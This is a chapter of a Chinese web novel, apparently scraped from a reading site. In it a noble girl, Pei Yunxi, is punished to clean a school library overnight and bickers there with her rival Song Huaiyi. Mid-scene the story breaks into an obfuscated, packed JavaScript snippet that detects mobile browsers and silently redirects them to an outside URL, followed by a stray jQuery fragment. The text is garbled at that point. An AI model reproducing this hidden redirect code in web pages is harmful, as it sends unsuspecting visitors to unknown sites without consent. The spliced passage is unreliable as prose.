默认冷灰
24号文字
方正启体

9. 留堂

作者:枕上闻雷本书字数:K更新时间:
    赵彦秋长身鹤立,为不挡着同窗学子,虽功课极好,但极有修养的选了个很靠后的席位——恰好,正是在她的右边。


    裴云晰却跟这位“半个同桌”不太熟。


    赵彦秋是诸位夫子的爱徒,且不说夫子们总教训她不要打扰赵彦秋听课,她跟这些认真读书的人本来没什么好说的,话不投机半句多。


    好在这个赵彦秋最是好性子,待人友善,不是爱教训别人、打小报告的人。裴云晰仅犹豫了一秒,还是选择过去把自己的核桃酥拿走。


    软底绣鞋踩在青黄不接的草地上声音很小,以至于她都走到亭沿下了,赵彦秋才转身瞧见她。


    裴云晰笑嘻嘻地趴在栏杆上,努力表现出一副人畜无害的奉承样:“玉兰花都开完了,赵大哥,这么晚了你怎么还没回家?”


    赵彦秋愣了神,随即笑道:“我落下一本书,回来取走罢了。”


    原来赵彦秋这样的人也会丢三落四。裴云晰更觉得轻松了,不顾赵彦秋错愕的眼神,大大咧咧攀着栏杆翻过去,走到自己的席位上,果然看见那一团还在那儿没人动。


    “原来这是三姑娘的帕子,”赵彦秋温声说:“三姑娘,贴身之物还是收好为佳。”


    裴云晰正巧将帕子拿起来,谁料到她一个不小心,核桃酥哗啦掉出来,砸在蒲团上碎成了好几块。


    “……”


    亭中安静的落针可闻。半晌,裴云晰故作无谓地清清嗓子:“咳咳,梦辽这个粗心的丫头,包个点心都包不明白。”


    实则她内心追悔莫及,更是饥肠辘辘。早知道等赵彦秋离开她再过来就好了,但凡赵彦秋不在,掉在蒲团上的酥她也愿意捡起来拍拍灰吃掉。


    赵彦秋被她这幅不甚端庄的样子噎得说不出话。


    见赵彦秋没有马上离开的意思,裴云晰正准备想些什么话支开他,就听见院外隐隐有骚动,似乎在找什么人。


    她反应过来多半是找她的,立刻想脚底抹油地溜走,赵彦秋却叫住她:“三姑娘。”


    裴云晰疑惑地回头:“啊?什么事?”


    赵彦秋从他书匣子里取出一张试卷:“前些日子的策论小考,我帮丘夫子批卷时不慎遗漏了三姑娘的,今日我在整理书卷时找到了,特来还给三姑娘。”


    正是宋怀弋缺席的那场小考,裴云晰当时自暴自弃地以为必是她垫底无疑了,结果次日夫子发榜,告诉她她的试卷在批改时不慎遗失了,因此她同宋怀弋的成绩一样,都是缺考。


    因此她二哥想批评她又没理由发作,为这事儿她还沾沾自喜了一阵子,转而就把这个插曲忘得一干二净。


    她可不愿再看那张卷子,尤其还是赵彦秋批改过的,她隔了这么久突然想起卷子上的内容都难得的羞愧,直摆手道:“多谢赵大哥了,那赵大哥就好人做到底,烦请随便找个火盆子帮我烧了就行,感谢感谢!”说罢她转身又跳下栏杆,一溜烟跑开了。


    赵彦秋望着她的背影出神,忽然噗嗤一下笑出了声。他垂下眼看着手上被揉皱又抹平的试卷,手指轻轻在右上角“裴云晰”三个字上抚过。统一朱红色打了竖格子的试卷上,鬼画符般的几行字,下头大片篇幅赫然画着几只大乌龟。


    他收起试卷正欲离开,突然被一抹淡黄色吸引了目光——是裴云晰失手丢在地上的手帕。


    裴云晰千算万算,忘记她还有个像仇人似的二哥。裴云曜特地修书,一式两份,一份送到学塾,一份送到顾家:“舍妹性行顽劣,屡教未改,今特恳请严加训诫,但凭处置,裴家绝无二话,断不姑息庇护。切切此请,伏惟垂鉴。”


    她二哥的意思是,便是在藏书阁里头关上一夜,也要让她老老实实把每个架子都擦干净了。


    来给她送铺盖的思遥又生气又心疼,“三姑娘,吴家姑娘想替您遮掩,却终究没瞒住二哥儿。二哥儿在内宅发了好大的火,梦辽还被罚了十手板,您这次千万要好好反省,明日一早四姑娘就去找二哥儿求情,您千万别再乱跑了!”


    方才书童带着思遥去藏书阁寻她不见,到处找人差点惊动了裴府和顾家。还好裴云晰及时现身,否则书童就要去报信了。


    裴云晰郁闷地盘腿坐在地上,啃着思遥带来的炊饼。思遥一边给裴云晰铺地铺,一边絮叨:“这么多书架,您就做做样子,只将显眼处的几座擦擦就行了。咱们二哥儿也真是,姑娘您是未及笈的高门贵女,又不是那些巴巴地要走科举路的哥儿,来学塾不过是做做样子而已,为什么要这么苛刻……要是让老太太知道,得心疼死。吴家姑娘也生气,都差点同二哥儿吵起来,还好四姑娘拦住了。”


    裴府里闹得一团乱,倒显得裴云晰这个当事人置身事外了,她本就是这样一个随遇而安的性子,挨罚就挨罚吧,只是内心对吴初樾和梦辽多有愧疚:“你去我屋里找瓶金创药给梦辽用上,这几日别让她做事了。再派人告诉初樾,我好着呢,让她不必担心,也不要跟我二哥那人计较。”


    思遥应下,又再三叮嘱裴云晰,直到把她烦得不行了才离开。


    藏书阁的门一关,思遥提着灯走远了,裴云晰才发现已经入夜,敞开的窗外一轮皓月挂在夜空中,银白月光照进阁内,不需点蜡也亮堂得很。


    裴云晰并不惧黑,她小时候精力旺盛,入夜了依旧野猴子般满花园乱窜,已经习惯在夜里靠月色照明。她慢吞吞起身,拿起思遥投洗干净的抹布不情不愿地擦起书架来。


    到底是养尊处优惯的,裴云晰即便十分糊弄,进度也非常慢。她感觉都过了大半夜,已擦了成千上万个格子,回头一看竟然才刚擦到第四个书架。


    裴云晰把抹布一扔彻底不愿意动了,直接靠着书架坐到地板上休息,迷迷糊糊竟然快睡着了。


    半梦半醒间,她突然感觉身前投下一片黑影,还听到一声轻笑。


    裴云晰猛地睁眼,只见一双含笑凤眼望着她,朱砂痣缀在眼角,她再熟悉不过。


    “宋怀弋?”裴云晰吓得一激灵,差点没坐住滑倒在地板上,下意识双手向后撑了一下,掌根撞得发麻,疼得她龇牙咧嘴。


    对比


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15592664|171899||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她的狼狈,显得宋怀弋这不速之客风度翩翩,还颇有雅兴,用飘逸面纱覆在了下半张脸,只露出一双眼睛来打趣她:“在这儿都能打瞌睡,裴季蘅,你真是非同凡响。”


    “你怎么来了?你怎么在这儿?”裴云晰诧异得很,连问两个相似的问题。


    “小爷我听说有人挨了重罚,要把藏书阁每个书架都擦一遍,所以特地来看看,究竟是哪个倒霉蛋。”


    被宋怀弋看了笑话简直比杀了她还难受,裴云晰瞪了一眼少年郎:“无聊至极。”


    宋怀弋不以为然,“我当然比不上裴三娘你,贵人事多——这都亥时三刻了,怎么才擦了这么点?”


    裴云晰不想搭理他,扶着书架要站起来,却一个不稳又要跌倒,宋怀弋反应极快,伸手拖住了她的手肘扶住她,裴云晰惨白着一张脸下意识紧紧抓住了宋怀弋的大臂,额前都冒出细密的汗珠:“腿麻!我腿麻了!”


    “你坐地上这么久能不麻吗?”宋怀弋另一只手赶紧握拳,伸出手臂揽住裴云晰,一使劲儿将她带了起来。裴云晰勉强扶着书架站稳,他就立刻收回了手,原地站定。


    裴云晰一手撑着后腰,缓了好一阵,才有精力打量起宋怀弋来:“怎么?还想带着面纱当毛贼啊?”


    “小小毛贼未免太有失我世子的风度了,”宋怀弋挑眉,少年个子高出她一头,双手抱胸微微躬身,凑得稍微近了些,一字一句地说:“至少,也是个做鬼也风流的采花贼吧?”


    裴云晰见了鬼似的看着他:“你在跟我调情吗?”


    “我堂堂世子爷不至于这么饥不择食。”宋怀弋翻了个白眼,也不觉得被扫了面子,他环顾四周,转移话题:“照你的进度,怕是要在这住上十天半个月。”


    裴云晰没好气地推开宋怀弋,捡起地上的抹布,转过身胡乱擦着书架:“关你什么事?”


    “自然关我的事,”宋怀弋伸手轻松抢过裴云晰的抹布,逼得裴云晰转回来看着他:“你不在,谁给我垫底?”


    说到这个裴云晰就跳脚:“宋怀弋,你是不是犯癔症了?分明十次有九次都是你,来给我,垫、底!”


    “那也是至少有一次,是你给我垫。”宋怀弋耍无赖比裴云晰更加信手拈来:“这样吧,咱们做个交易,你答应我一个条件,我就勉为其难,帮你干活。”


    裴云晰正在气头上,立刻回绝:“我不要。”


    “你都没听是什么条件呢。”


    “那也不要。”


    宋怀弋这才有些急了,漂亮的眼睛直勾勾盯着裴云晰:“你真是比驴还倔,难怪你二哥总是训你。”


    “那又如何?我没时间跟你废话,快把抹布还我。”


    “我不给。”


    “你快给我!”


    两个人斗嘴了好一会儿,宋怀弋将抹布举的高高的,得意地逗她:“你拿呀,我看你能不能拿的到。”


    这个宋怀弋光长个子不长脑子,裴云晰伸手怎么够都够不到,气急败坏竟蓄力一跳,不小心把宋怀弋的面纱拽了下来。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)